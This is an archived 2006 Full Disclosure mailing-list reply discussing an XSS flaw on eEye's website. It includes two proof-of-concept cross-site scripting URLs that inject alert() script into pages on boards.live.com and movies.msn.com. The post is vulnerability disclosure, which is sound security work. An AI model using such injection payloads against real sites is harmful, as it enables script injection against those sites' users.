Full Disclosure mailing list archives
Re: further to the XSS flaw in eEye by Valerie Marchuk
From: "Thomas Pollet" <thomas.pollet () gmail com>
Date: Tue, 22 Aug 2006 07:12:33 +0200
On 21/08/06, Alan Shimel <ashimmy () hotmail com> wrote:
I posted further today to the XSS flaw found in the eEye web site with quotes from the eEye CEO. You can read it here: http://www.stillsecureafteralltheseyears.com/ashimmy/2006/08/but_if_doesnt_b.html Would welcome comments on whether you think it is harmless or not?
Mostly harmless, just a sign of decay/bad security engineering practices. Some sites _do_ know how to provide secure webservices. for the record: http://boards.live.com/Travelboards/board.aspx?BoardID=144&y000=%20--%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://movies.msn.com/movies/genre.aspx?genre=Comedy&');alert('xss<http://movies.msn.com/movies/genre.aspx?genre=Comedy&%27%29;alert%28%27xss> Greets, Thomas
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: further to the XSS flaw in eEye by Valerie Marchuk Thomas Pollet (Aug 21)